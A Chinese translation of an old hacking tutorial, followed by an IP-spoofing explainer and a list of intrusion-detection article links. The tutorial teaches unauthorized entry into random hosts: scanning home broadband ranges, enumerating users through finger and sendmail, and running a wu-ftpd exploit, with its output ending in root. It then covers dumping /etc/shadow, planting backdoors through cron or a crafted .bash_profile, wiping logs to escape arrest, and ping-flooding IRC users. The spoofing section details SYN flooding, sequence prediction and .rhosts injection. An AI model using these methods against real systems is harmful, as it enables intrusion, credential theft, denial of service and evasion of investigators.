起初当我想弄乱别人的电脑时,我只是一个中学的小孩子。我问别人有关病毒和木马的事,并且使用它们,那时我是一个lamer(瘸子,不完整的)。我在学校里问别人并且最终发现一个对hacking感兴趣的人。他向我展示一些技巧,我付给他钱。(snowblue:现在有SQL,无用等一些高手义务的帮助你们,而你们却不好好的珍惜)他使用UNIX很多年了,他叫我去找一个shell。我不知道那是什么意思。他说那是对UNIX系统的访问权限。我仍然有点迷惑,最终我得到了一个shell。我读所有我能够找到的,把所有的时间都花在计算机上,我开始对社会和现实世界失去兴趣。那时候我每天在计算机上花的时间超过12个小时。我读任何找到的资料,我读的第一篇文章是”mostly harmless hacking”(几乎没有破坏性的入侵),我对它很感兴趣。起初我只会用一些图形模式的工具来做一些像改变关机屏幕的简单的事。做有关hacking的网站,尽管我并不知道hacking究竟是什么。我收集windows下的木马和病毒等一些工具,尽管那并不是hacking,但那时候我喜欢它们。随后我开始用邮件炸弹,flooder,DoS。当我对他们有了了解后,(我意识到那并不是hacking)我回去继续寻找shell。当时我所能找到的免费的shell都是非常简单的。我听说了有关linux的一些事。我问我学校的“黑客朋友”,他说不要用linux,用真正的UNIX。他搬到了PA,从那以后我再也没有他的音讯。我试图找到他并感谢它所教给我的,但没有成功。我得到了一个linux。安装是文本模式的,但它运行很迅速,它比windows要可乱说话多了,从不死机。但我的56k modem不能工作,我跑到了IRC问有关linux的问题。我发现了我的modem是一种叫winmodem的,win-moden是由软件控制的,他们通常比硬件modem慢,并且不能再linux下工作。(snowblue:现在大多数的modem在linux下都有驱动,你可以自己寻找)我在命令行下模式工作,看自己能够干些什么。最终我花了100美元买了一个linux兼容的modem。我让他工作,这太棒了。从那以后我就使用它,并且仍然可以在那上面学到更多的东西。我的父母说我“对计算机着魔了”,我试图解释我并没有。我从没有对它感到厌烦,我一直能够学到新的东西。那段时间里,我失去了一些朋友,退出了大学足球队。所有的一切仅仅是为了这该死的机器。希望某人可以发现这篇文章很有用。
目录

1. 普通的知识
2. 需要的东西
3. 简单的入侵
4. 如何进入
5. 列举
6. 常见的失误
7. 缓冲溢出
8. 防火墙
9. 进入之后干些什么
10. 如何才能不被抓住
11. 清除纪录
12. 用途
13. 我对破坏者的看法

否认声明:
阅读这篇文章说明你同意隶属于r00t-access的任何人都不对你通过看这篇文章所造成的任何后果负责

1. 读这篇文章的最好方法是一次把它读完,然后再读一遍。好吧,现在让我们开始。我假设你已经有了一些基本的知识,知道telnet是什么,一些基本的tcp/ip的知识等等。如果有一些你并不理解,不要犹豫,加入irc.dal.net上的#r00t-access,那是我常去的地方。
需要的东西:
2. 我列出了一些在这篇教程中需要的东西。你可以在anti-secure.com和packetstorm.securify.com找到它们。用引擎找一下就可以了。
1. – superscan (for windows)
2. – nmap (for unix)
3. – full shell access (the very best is if you have linux or bsd or solaris or another unix OS)
4. – compiler on the shell
5. – wingates (you can use them as telnet proxys)

容易的目标:
3. 这里我讲一下如何找到一些容易的目标
1. 到altavista.com用日语或其他语言搜索“游戏”,理由是这些站点的安全性较低
2. 扫描一个有很多服务的cable或者dsl子网,你可以用nmap,端口的状态应当是open而不是close或者filtered,nmap的扫描报告会告诉你的。我将不会告诉你如何使用namp,原因是man page已经有作够的信息了。
3. 确保nmap已经被安装了。使用下面我给出的命令
(注意:$是一个普通的用户,而#则是超级用户。作为例子,我用了24.112.*.*,吧它替换成你想要扫瞄的ip)
$ nmap -p 21,23 24.112.*.*
进入:
4. 为了能够进入,你应当收集尽可能多的有关目标主机的信息。由于这是你的第一次入侵,所以确保它有一个笨笨的管理员。然后你可以使用exploit。我将在后面详细解释
列举:
5. Ok 我们找到了目标。现在让我们得到更多的信息。首先来telnet它的79端口。如果它是打开的,你就可以得到以登陆用户的信息。仅仅是telnet然后按下回车。
让我们假定端口是打开的并且允许我们查看在线用户。看下面的例子:
$ telnet target.domain 79
Trying IPaddress…
Connected to target.domain.
Escape character is ^].

Login Name Tty Idle Login Time Office Office Phone
gt grahm crackhead /1 Sep 1 12:01
ok 如果你得到了一个login,把它记下来,然后找更多的login。或许你需要暴力穷句。你可以在www.packetstorm.securify.com 找到一个windows下的穷具工具。使用大量的单词来穷举那个账号。如果你得到的消息是”no one is logged on” 或许你需要一个windows下的haktek。同样,你可以在www.packetstorm.securify.com 找到它。Haketk能够让你监视finger进程并且纪录登陆的人。这是很有用的。另一种方法,你可以用sendmail。如果他们有很多的用户,你可以尝试telnet并且找几个有效的用户名,还可以找几个程序通过暴力法来完成。看下面,我给出了通过sendmail来得到有效的用户名的例子—
$ telnet target.domain 25
Trying IPaddress…
Connected to target.domain.
Escape character is ^].

220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400
expn wally
250 Wally Kolcun
vrfy wally
250 Wally Kolcun
expn Billy
550 BIlly… User Unknown
就像你所看到的,我telnet到他们的smtp,敲入expn,然后系统告诉我这是不是一个有效的用户,最后我给出了一个用户不存在的例子,当我敲入expn Billy,系统告诉我用户不存在,然后我知道这不是一个合法的用户。这同样可以帮助你得到他们的email,然后你就可以尝试一下社会工程学。
另一个搜集用户名的方法可以是利用usenet, altavista,你可以搜索一下新闻组,或许可以得到一些有用的信息。
另一些可以利用的进程是 systat netstat等等。
telnet还可以帮助你判断出对方的操作系统,当你想exploit时这是非常重要的。当telnet时,有些会给出系统信息,如下所示:
Trying IPaddress…
Connected to target.domain.
Escape character is ^].

Red Hat Linux release 6.1 (Cartman)
Kernal 2.2.12-20 on an i586
login:
你可以看到,系统是redhat 6.1
有些时候你可以使用社会工程学,拿Kevin Mitnick举个例子。它使用社会工程学进入了Novell,一个很大的系统。它所作的只是像一个在那里工作的人那样和别人交谈。他知道当时那里的某人正在度假,但是他知道某人的名字。他打电话到了Novell的办公室找那个人,然后秘书告诉他那个人正在度假,然后他说它需要和那个人联系,于是它便从秘书那里得到了那个人的信息。
常见的失误:
6. 人们会时不时的犯一些错误。这可以帮助你进入。某些人并不是很好的管理员。一个十分普遍的失误是权限设置上的错误。有些系统对所有人都开放了write权限。这是一个很大的问题。让我们举个例子。某人把cron.daily的write权限开放给所有人。你就可以上传一个后门程序并通过cron进程来执行,从而得到系统的访问权。
现在让我来告诉你最可怕的事。假如某个用户在系统上使用IRC,并且如果它把dcc文件传送设置为自动接收,接受目录为他的主目录。你就可以传给他一个.bash_profile,文件写的好的话,可以让他做一些事。例如添加一个用户,或者把密码邮寄给某人。很显然这是进入系统的最简单的方法。
缓冲溢出/exploiting:
7. 我不打算对缓冲溢出讲得太深,我只想借是那是什么然后进入下一节。
缓冲溢出—在进程上有一个叫缓冲限制的东西。缓冲限制限制了进入的字节数。某些情况下,你可以通过特殊的代码让缓冲区溢出来得到一个root用户或者普通用户。有一个例子是wu-ftpd 2.6.0 (1)的缓冲溢出。下面我将告诉你:
$ gcc wuftpd-god.c -o wuftpd-god
$ ./wuftpd-god -h

Usage: ./wuftpd-god -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target : host with any wuftpd
user : anonymous user
dir : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g : enables magic string digging
-x : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr : this is pointer to shellcode
systypes:
0 – RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
1 – RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
2 – SuSe 6.3 with wuftpd 2.6.0(1) from rpm
3 – SuSe 6.4 with wuftpd 2.6.0(1) from rpm
4 – RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)
5 – FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports
* 6 – FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages
7 – FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports
8 – FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages

$ ./wuftpd-god -s0 -t target.domain

Target: target.domain (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0×08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152

loggin into system..
[32mUSER ftp
[0m331 Guest login ok, send your complete e-mail address as password.
[32mPASS
[0m230-Next time please use your e-mail address as your password
230- for example: joe@cc456375-b.abdn1.md.home.com
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

#
如果你想要root的话,exploit是一种方法。查出系统的操作系统,然后到hack.co.za 或者packetstorm 查找那个系统的exploit,你应当得到一些perl scripts/c scripts/shell scripts。执行它们,你就会成为root
当然,如果系统打了exploit的补丁,你或许想知道root的口令是什么。可以敲下面的命令:
(如果没有经过shadow,口令被存放于/etc/passwd)
# cat /etc/shadow > /root/passwd
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false
fax:x:10:14:Fax Master:/home/fax/:/bin/bash
postfix:x:101:233:postfix:/var/spool/postfix:
gdm:x:42:235::/home/gdm:/bin/bash
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash
bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash
上面就是/etc/passwd的内容,但是你需要破解他们,可以用john the ripper,可以在packetstorm或其他地方找到它。我就用它,他很快。(snowbue:支持国产,你可以用小榕的 乱刀 可以在在www.netxeyes.com 下载)有时破解一个账号要用几年的时间,所以我并不提倡这种做法。
防火墙:
8. 如果你了解你所作的,防火墙并不能阻止你。我很喜欢用nmap,这个工具非常好。在www.insecure.org 可以找到最新的版本。我喜欢它的OS(操作系统)检测,即使目标只运行了很少的服务,它的检测也很准确。它通过分析目标的tcp指纹并于自身携带的数据库作比较来得到结果。下面给出一个使用nmap来查出防火墙规则的例子。敲入nmap –sA 。浙江检测防火墙的规则。我不想太过深入而是这篇文章变得使人厌烦。如果你像知道更多有关nmap的,只需敲入man nmap就可以了。
进入以后做什么:
9. 进入以后做什么取决于你想如何使用这个系统。如果你想有一个匿名的root shell,那么就设置一个后门。你可以在www.packetstorm.securify.com 找到后门(木马)。我认为你完全有能力自己独立设置一个后门,但是如果你需要帮助的话,加入$r00t-access,或许我可以帮助你。但是我*不会*帮助你进入一个系统,不过我或许可以帮助你加固你自己的系统。
如何才能不被抓住:
10. 最主要的事是。别干*蠢*事。如果你想保住那个shell,不要破坏那个系统,不要删除他们的文件,不过或许你需要修改他们的纪录。这就是我想说的。
清除纪录:
11. 如果你还向待在这儿而不进监狱的话,清除日志是最重要的工作。在login/hostname中清除纪录,linux里是/var/log,还有你目录下的.bash_profile文件。作这事的最简单的方法是到blackcode.com 或packetstorm找一个工具。
用途:
12. 我一向都拥有超过一个root shell。我在那上面运行nmap和saint来隐藏我自己的主机。或许我会在那上面设置一个web proxy/bnc。Saint是一个很好的工具。它可以告诉你系统有些什么漏洞。你可以在远程很容易的使用它。有时当我看不惯某人的时候,我就flood他们,就像这样:
# ping -f -c 50 -s 4500 IPaddress
…………………………………………………
…………………………………………………..
………E………..E…EE……..E………………E…….
…………..E…….E.EEE……………….E.E……
Host unreatchable.
有人认为这是lame的,但是我通过这样来让某人在IRC里闭嘴。
破坏者:
13. 在这篇文章中我没有谈到hacking,实际上我我所涉及的只是cracking,我并不破坏系统,可能永远都不会。并不是我没有这个能力而是因为这是不对的。再加上如果你被抓住了你或许会因为你的破坏而坐几年牢。我不喜欢人们把hacking和cracking混为一谈
ok 写完了。如果你有问题的话,可以联系我,但请不要问诸如如何去黑的问题。不久我将建一个telnet的BBS。

IP欺骗与盗用原理[热情推荐]

IP欺骗的原理
  IP欺骗的技术比较复杂,不是简单地照猫画老虎就能掌握,但作为常规攻击手段,有必要理解其原理,至少有利于自己的安全防范,易守难攻嘛。
  假设B上的客户运行rlogin与A上的rlogind通信:
1. B发送带有SYN标志的数据段通知A需要建立TCP连接。并将TCP报头中的sequence number设置成自己本次连接的初始值ISN。
2. A回传给B一个带有SYS+ACK标志的数据段,告之自己的ISN,并确认B发送来的第一个数据段,将acknowledge number设置成B的ISN+1。
3. B确认收到的A的数据段,将acknowledge number设置成A的ISN+1。
B —- SYN —-> A
B <—- SYN+ACK —- A
B —- ACK —-> A
  TCP使用的sequence number是一个32位的计数器,从0-4294967295。 TCP为每一个连接选择一个初始序号ISN,为了防止因为延迟、重传等扰乱三次握手,ISN不能随便选取,不同系统有不同算法。理解TCP如何分配ISN以及ISN随时间变化的规律,对于成功地进行IP欺骗攻击很重要。
  基于远程过程调用RPC的命令,比如rlogin、rcp、rsh等等,根据/etc/hosts.equiv以及$HOME/.rhosts文件进行安全校验,其实质是仅仅根据信源IP地址进行用户身份确认,以便允许或拒绝用户RPC。
  IP欺骗攻击的描述:
1. 假设Z企图攻击A,而A信任B,所谓信任指/etc/hosts.equiv和$HOME/.rhosts中有相关设置。注意,如何才能知道A信任B呢?没有什么确切的办法。我的建议就是平时注意搜集蛛丝马迹,厚积薄发。一次成功的攻击其实主要不是因为技术上的高明,而是因为信息搜集的广泛翔实。动用了自以为很有成就感的技术,却不比人家酒桌上的巧妙提问,攻击只以成功为终极目标,不在乎手段。
2. 假设Z已经知道了被信任的B,应该想办法使B的网络功能暂时瘫痪,以免对攻击造成干扰。著名的SYN flood常常是一次IP欺骗攻击的前奏。请看一个并发服务器的框架:
int initsockid, newsockid;
if ((initsockid = socket(…)) < 0) {
error(“can create socket”);
}
if (bind(initsockid, …) < 0) {
error(“bind error”);
}
if (listen(initsockid, 5) < 0) {
error(“listen error”);
}
for (;{
newsockid = accept(initsockid, …); /* 阻塞 */
if (newsockid < 0) {
error(“accept error”);
}
if (fork() == 0) { /* 子进程 */
close(initsockid);
do(newsockid); /* 处理客户方请求 */
exit(0);
}
close(newsockid);
}
listen函数中第二个参数是5,意思是在initsockid上允许的最大连接请求数目。如果某个时刻initsockid上的连接请求数目已经达到5,后续到达initsockid的连接请求将被TCP丢弃。注意一旦连接通过三次握手建立完成,accept调用已经处理这个连接,则TCP连接请求队列空出一个位置。所以这个5不是指initsockid上只能接受5个连接请求。SYN flood正是一种 Denial of Service,导致B的网络功能暂时中断
Z向B发送多个带有SYN标志的数据段请求连接,注意将信源IP 地址换成一个不存在的主机X;B向子虚乌有的X发送SYN+ACK数据段,但没有任何来自X的ACK出现。B的IP层会报告B的TCP层,X不可达,但B的TCP层对此不予理睬,认为只是暂时的。于是B在这个initsockid上再也不能接收正常的连接请求。
Z(X) —- SYN —-> B
Z(X) —- SYN —-> B
Z(X) —- SYN —-> B
Z(X) —- SYN —-> B
Z(X) —- SYN —-> B
……
X <—- SYN+ACK —- B
X <—- SYN+ACK —- B
X <—- SYN+ACK —- B
X <—- SYN+ACK —- B
X <—- SYN+ACK —- B
……
我认为这样就使得B网络功能暂时瘫痪,可我总觉得好象不对头。
  因为B虽然在initsockid上无法接收TCP连接请求,但可以在another initsockid上接收,这种SYN flood应该只对特定的服务(端口),不应该影响到全局。当然如果不断地发送连接请求,就和用ping发洪水包一个道理,使得B的TCP/IP忙于处理负载增大。至于SYN flood,回头有机会我单独灌一瓢有关DoS的。如何使B的网络功能暂 碧被居 很多办法,根据具体情况而定,不再赘述。
3. Z必须确定A当前的ISN。首先连向25端口(SMTP是没有安全校验机制的),与1中类似,不过这次需要记录A的ISN,以及Z到A的大致的RTT(round trip time)。这个步骤要重复多次以便求出RTT的平均值。现在Z知道了A的ISN基值和增加规律(比如每秒增 加128000,每次连接增加64000),也知道了从Z到A需要RTT/2 的时间。必须立即进入攻击,否则在这之间有其他主机与A连接, ISN将比预料的多出64000。
4. Z向A发送带有SYN标志的数据段请求连接,只是信源IP改成了B,注意是针对TCP513端口(rlogin)。A向B回送SYN+ACK数据段,B已经无法响应,B的TCP层只是简单地丢弃A的回送数据段。
5. Z暂停一小会儿,让A有足够时间发送SYN+ACK,因为Z看不到这个包。然后Z再次伪装成B向A发送ACK,此时发送的数据段带有Z预测的A的ISN+1。如果预测准确,连接建立,数据传送开始。问题在于即使连接建立,A仍然会向B发送数据,而不是Z,Z 仍然无法看到A发往B的数据段,Z必须蒙着头按照rlogin协议标准假冒B向A发送类似 “cat + + >> ~/.rhosts” 这样的命令,于是攻击完成。如果预测不准确,A将发送一个带有RST标志的数据段异常终止连接,Z只有从头再来。
Z(B) —- SYN —-> A
B <—- SYN+ACK —- A
Z(B) —- ACK —-> A
Z(B) —- PSH —-> A
……
6. IP欺骗攻击利用了RPC服务器仅仅依赖于信源IP地址进行安全校验的特性,建议阅读rlogind的源代码。攻击最困难的地方在于预测A的ISN。我认为攻击难度虽然大,但成功的可能性也很大,不是很理解,似乎有点矛盾。考虑这种情况,入侵者控制了一台由A到B之间的路由器,假设Z就是这台路由器,那么A回送到B的数据段,现在Z是可以看到的,显然攻击难度骤然下降了许多。否则Z必须精确地预见可能从A发往B的信息,以及A期待来自B的什么应答信息,这要求攻击者对协议本身相当熟悉。同时需要明白,这种攻击根本不可能在交互状态下完成,必须写程序完成。当然在准备阶段可以用netxray之类的工具进行协议分析。
7. 如果Z不是路由器,能否考虑组合使用ICMP重定向以及ARP欺骗等技术?没有仔细分析过,只是随便猜测而已。并且与A、B、
Z之间具体的网络拓扑有密切关系,在某些情况下显然大幅度降低了攻击难度。注意IP欺骗攻击理论上是从广域网上发起的,不局限于局域网,这也正是这种攻击的魅力所在。利用IP欺骗攻击得到一个A上的shell,对于许多高级入侵者,得到目标主机的shell,离root权限就不远了,最容易想到的当然是接下来进行buffer overflow攻击。
8. 也许有人要问,为什么Z不能直接把自己的IP设置成B的?这个问题很不好回答,要具体分析网络拓扑,当然也存在ARP冲突、出不了网关等问题。那么在IP欺骗攻击过程中是否存在ARP冲突问题。回想我前面贴过的ARP欺骗攻击,如果B的ARP Cache没有受到影响,就不会出现ARP冲突。如果Z向A发送数据段时,企图解析A的MAC地址或者路由器的MAC地址,必然会发送ARP请求包,但这个ARP请求包中源IP以及源MAC都是Z的,自然不会引起ARP冲突。而ARP Cache只会被ARP包改变,不受IP包的影响,所以可以肯定地说,IP欺骗攻击过程中不存在ARP冲突。相反,如果Z修改了自己的IP,这种ARP冲突就有可能出现,示具体情况而言。攻击中连带B一起攻击了,其目的无非是防止B干扰了攻击过程, 如果B本身已经down掉,那是再好不过。
9. fakeip曾经沸沸扬扬了一下,我对之进行端口扫描,发现其tcp端口113是接收入连接的。和IP欺骗等没有直接联系,和安全校验是有关系的。当然,这个东西并不如其名所暗示,对IP层没有任何动作。
10. 关于预测ISN,我想到另一个问题。就是如何以第三方身份切断 A与B之间的TCP连接,实际上也是预测sequence number的问题。尝试过,也很困难。如果Z是A与B之间的路由器,就不用说了; 或者Z动用了别的技术可以监听到A与B之间的通信,也容易些; 否则预测太难。作者在3中提到连接A的25端口,可我想不明白的 是513端口的ISN和25端口有什么关系?看来需要看看TCP/IP内部实现的源代码。
未雨绸缪
虽然IP欺骗攻击有着相当难度,但我们应该清醒地意识到,这种攻击非常广泛,入侵往往由这里开始。预防这种攻击还是比较容易的, 比如删除所有的/etc/hosts.equiv、$HOME/.rhosts文件,修改/etc/ inetd.conf文件,使得RPC机制无法运做,还可以杀掉portmapper等等。设置路由器,过滤来自外部而信源地址却是内部IP的报文。cisio公司的产品就有这种功能。不过路由器只防得了外部入侵,内部入侵呢?
TCP的ISN选择不是随机的,增加也不是随机的,这使攻击者有规可循,可以修改与ISN相关的代码,选择好的算法,使得攻击者难以找到规律。估计Linux下容易做到,那solaris、irix、hp-unix还有aix呢?sigh
虽然写的不怎么,但总算让大家了解了一下IP欺骗攻击,我实验过预测sequence number,不是ISN,企图切断一个TCP连接,感觉难度很大。作者建议要找到规律,不要盲目预测,这需要时间和耐心。现在越发明白什么是那种锲而不舍永远追求的精神,我们所向往的传奇故事背后有着如此沉默的艰辛和毅力,但愿我们学会的是这个,而不是浮华与喧嚣。一个现成的bug足以让你取得root权限,可你在做什么,你是否明白?我们太肤浅了……

2004年07月26日

        入侵监测系统处于防火墙之后对网络活动进行实时检测。许多情况下,由于可以记录和禁止网络活动,所以入侵监测系统是防火墙的延续。它们可以和你的防火墙和路由器配合工作。
入侵监测系统IDS与系统扫描器system scanner不同。系统扫描器是根据攻击特征数据库来扫描系统漏洞的,它更关注配置上的漏洞而不是当前进出你的主机的流量。在遭受攻击的主机上,即使正 在运行着扫描程序,也无法识别这种攻击  IDS扫描当前网络的活动,监视和记录网络的流量,根据定义好的规则来过滤从主机网卡到网线上的流量,提供实时 报警。网络扫描器检测主机上先前设置的漏洞,而IDS监视和记录网络流量。如果在同一台主机上运行IDS和扫描器的话,配置合理的IDS会发出许多报警。

IDS 入侵检测系统 理论·概念

入 侵检测技术IDS是一种主动保护自己免受攻击的一种网络安全技术。作为防火墙的合理补充,入侵检测技术能够帮助系统对付网络攻击,扩展了系统管理员的安全 管理能力(包括安全审计、监视、攻击识别和响应),提高了信息安全基础结构的完整性。它从计算机网络系统中的若干关键点收集信息,并分析这些信息。入侵检 测被认为是防火墙之后的第二道安全闸门,在不影响网络性能的情况下能对网络进行监测。它可以防止或减轻上述的网络威胁。

IDS 二十年风雨历程
入侵检测系统(IDS)简介
什么是入侵检测
IDS:安全新亮点
IDS的标准化
IDS的分类
IDS的体系结构
IDS的数据收集机制
IDS的规则建立
我们需要什么样的入侵检测系统
IDS:网络安全的第三种力量
入侵检测术语全接触
入侵检测应该与操作系统绑定
入侵检测系统面临的三大挑战
入侵检测系统(IDS)的弱点和局限(1)
入侵检测系统(IDS)的弱点和局限(2)
入侵检测系统(IDS)的弱点和局限(3)
入侵检测系统(IDS)的弱点和局限(4)

IDS系统
入侵检测(Intrusion Detection),顾名思义,是对入侵行为的检测。它通过收集和分析计算机网络或计算机系统中若干关键点的信息,检查网络或系统中是否存在违反安全策略的行为和被攻击的迹象。进行入侵检测的软件与硬件的组合便是IDS。

IDS系统(1)
IDS系统(2)
IDS系统(3)
IDS系统(4)
IDS系统(5)
IDS系统(6)

IDS 应用·实践
在 网络安全发展的今天,IDS即入侵检测系统在网络环境中的使用越来越普遍,当hacker在攻击一个装有IDS的网络服务器时,首先考虑到的是如何对付 IDS,攻击主要采用,一我们如何攻击IDS,二,是我们如何绕过IDS的监视。下面将详细介绍当前的主要IDS分析、应用、实践。

如何构建一个IDS?
IDS逃避技术和对策
解析IDS的误报、误警与安全管理
IDS入侵特征库创建实例解析(1)
IDS入侵特征库创建实例解析(2)
一个网络入侵检测系统的实现
IDS欺骗之Fragroute(1)
IDS欺骗之Fragroute(2)
强大的轻量级网络入侵检测系统SNORT
Snort: 为你的企业规划入侵检测系统
入侵检测实战之全面问答
四问IDS应用
安全战争:入侵检测能否追平比分?
基于网络和主机的入侵检测比较
入侵检测系统:理论和实践
入侵检测方法和缺陷
怎么实施和做好入侵检测
Win2K入侵检测实例分析
Win2000 Server入侵监测
攻击入侵检测NIDS分析
ISS RealSecure:异常干净的入侵检测(1)
ISS RealSecure:异常干净的入侵检测(2)
ISS RealSecure:异常干净的入侵检测(3)

LIDS linux下的入侵监测系统
 LIDS全称Linux 入侵检测系统,作者是Xie Huagang和Phil。LIDS 是增强 Linux 核心的安全的的补丁程序. 它主要应用了一种安全参考模型和强制访问控制模型。使用了 LIDS 后, 系统能够保护重要的系统文件,重要的系统进程, 并能阻止对系统配制信息的改变和对裸设备的读写操作。

linux下的入侵监测系统LIDS
LIDS译本
linux下的入侵监测系统LIDS原理(1)
linux下的入侵监测系统LIDS原理(2)
linux下的入侵监测系统LIDS原理(3)
linux下的入侵监测系统LIDS原理(4)
用LIDS增强系统安全
LIDS攻略
LIDS功能及其安装和配置
LINUX下的IDS测试
Linux系统中的入侵检测

IDS 产品方案和技术发展
事 实上,信息安全产品的概念、效用、技术、未来发展等一直处于争议之中,许多人怀疑仅凭几项技术能否阻止各类攻击。在入侵检测(IDS)领域尤其如此,漏报 和误报问题长期困扰着技术专家和最终用户。虽然问题种种,步履蹒跚,但IDS产业在众多技术专家、厂商、用户以及媒体的共同努力下仍坚定地前进着、发展 着,未来充满了希望之光。

入侵检测产品比较
选购IDS的11点原则
入侵检测技术综述
IDS产品选购参考
IDS重在应用
免费与付费IDS孰优孰劣?
Cisco VMS:增强入侵检测部署控制
IDS带来的安全革命:安全管理可视化
企业需要什么样的IDS?——测试IDS的几个关键指标
抗千兆攻击要靠新一代IDS
协议分析技术:IDS的希望
IDS技术发展方向
IDS争议下发展
新思维:基于免疫学的IDS